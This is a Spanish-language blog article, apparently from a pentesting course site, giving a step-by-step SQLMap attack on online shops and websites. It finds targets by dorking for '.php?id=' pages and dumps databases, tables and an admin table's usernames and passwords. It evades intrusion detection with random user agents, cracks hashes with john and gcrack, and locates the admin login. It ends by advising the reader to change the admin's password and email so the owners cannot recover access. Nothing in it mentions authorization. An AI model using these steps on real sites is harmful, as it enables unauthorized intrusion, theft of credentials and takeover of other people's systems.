Artículo · Pentesting

Ataque de una Base de Datos con SQLMap

Alejandro Canosa FerreiroAlejandro Canosa Ferreiro 5 min de lectura

Historia

SQLMap es una herramienta para explotar la vulnerabilidad de SQL injection. Esta técnica se puede usar para realizar un ataque a una base de datos como la de una tienda virtual o incluso para páginas web que tengan esta vulnerabilidad.

Para realizar un ataque a la base de datos de una tienda virtual o página web se tienen que realizar los siguientes pasos:

Al ataque

1. Se recomienda usar el dork .php?id=101 o cualquier otro número en Bing antes que en Google (porque da mejores resultados y además no te pide un capcha cuando estás utilizando continuamente dorks) para encontrar páginas con posibles vulnerabilidades SQL Injection o utilizar una herramienta como Acunetix o Vega que es Open Source y trabaja en Linux(posteriormente creare otro artículo sobre esta magnífica y simple herramienta) para asegurarnos que esa página tiene esa vulnerabilidad ,una de las más importantes dentro de las vulnerabilidades de las aplicaciones web y páginas según OWASP.

 

Búsqueda de dorks

 

 

2. Una vez encontremos una página con esta vulnerabilidad podemos saber que DBMS es provocando un error añadiendo al final de la URL ´ y dependiendo de la librería es una DBMS u otra:

 

Si nos aparece la siguiente información es una BD SQL Server

 

System.Data.SqlClient.SqlException

 

Si aparece la siguiente información es una BD MYSQL 

 

mysql_fetch_array

 

Si aparece la siguiente información es una BD Oracle

 

java.sql.sqlException

 

3. Arrancamos sqlmap y podemos ver sus opciones con sqlmap -h

 

 

Vista de sql map

 

4. Para obtener las Base de datos del DBMS se usa el comando

 

sqlmap -u http://paginaweb.php?id=numero –dbs

Si buscamos aplicaciones escritas en php si no en .net seria .aspx?id=numero; te dirá la BD y te preguntara si quieres probar con más id vulnerables y si ralentizar el ataque para no ser detectado por un IDS le dices a todo que yes

 

 

 

Inyección a la base de datos

 

5. Para ver las tablas de una BD seria:

 

sqlmap -u paginaweb.php?id=numero –random-agent -level 5 -D condadonew   --tables;

random-agent es para que utilice distintos agentes y level 5 es el máximo nivel de consultas

 

 

Base de datos

 

 

6. Para ver las columnas de una tabla, por ejemplo, de la tabla usuario_admin:

 

sqlmap -u http://paginaweb.php?id=101 -–random-agent -level 5 -D -D condadonew -D condadonew -T usuario_admin –columns

 

 

 

Base de datos

 

 

7. Para ver el valor de una columna, por ejemplo, la clave:

 

sqlmap -u http://paginaweb.php?id=101 -D condadonew -T usuario_admin -C clave –dump


 

Contenido de la base de datos

 

8. Para ver el valor de la columna usuario:

 

sqlmap -u http://paginaweb.php?id=101 -D condadonew -T usuario_admin -C usuario –dump

 

 

Contenido de la base de datos

 

9. En este caso la clave no tiene un hash, pero si lo tuviera tendríamos que ejecutar en otro Shell hash-identifier para saber el tipo de hash

 

10. Ejecutando john de ripper suponiendo que es un hash md5:

 

john–format=raw_md5 archivoconhash

 

Obtendríamos el password

 

10. Solo necesitaríamos encontrar el login del administrador con un dork como inurl:admin inurl:login en google para poder acceder a la zona de administrador

 

11. Deberíamos cambiar el usuario, la contraseña y el email para que no puedan recuperar la contraseña

 

Notas

 

Si la DBMS tuviera más BD, para saber los usuarios de todas las bases de datos seria

 

sqlmap -u http://paginaweb.php?id=101 –-users

Para saber los hash de esos usuarios de las BD seria

 

sqlmap -u http://paginaweb.php?id=101 –-passwords

Esto automaticamente intenta crackear el hash con el diccionario de SQLMap, pero si no lo consigue podemos utilizar la aplicación Gcrack

si no conseguimos la contraseña del admin podemos ir a phpmyadmin si lo tiene y utilizar esa contraseña si la sacamos.

 

Gcrack

Esta aplicación permite romper los hashes md5, sha1, sha224, sha256, sha384, sha512 y ntlm

Para instalar este programa deberemos tener en nuestro sistema operativo Python, y también el paquete python-lxml. De manera opcional podemos instalar python-nltk para mejorar la velocidad del crackeo de las contraseñas

Hay que ejecutar este comando para todas las posibles dependencias

 

pip install nltk google requests BeautifulSoup

Este programa se puede instalar y ejecutar en cualquier sistema operativo gracias a que está escrito en Python, mientras que tengamos el intérprete instalado podremos utilizarlo sin ningún problema.

Para descargarlo podemos utilizar

 

git clone https://github.com/tkisason/gcrack.git

Ahora ingresamos al directorio

 

cd gcrack

Lo ejecutamos ./gcrack.py archivo.txt y le pasamos los hashes en un archivo, utiliza Google para encontrar la contraseña

esta también permite crear un archivo con hashes a partir de un diccionario

 

./gwordlist.py rockyou.txt roockyouhashes.txt

rockyou es un diccionario bastante famoso en internet para realizar un ataque de fuerza bruta por lo que combinado con generación de hashes pueden servir para realizar ataques de rainbow table

 

 

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Penetration Testing Student.

Alejandro Canosa Ferreiro

Escrito por

Alejandro Canosa Ferreiro

amo la seguridad informática y el open source;estoy certificado en COMPTIA SECURITY+

Sigue leyendo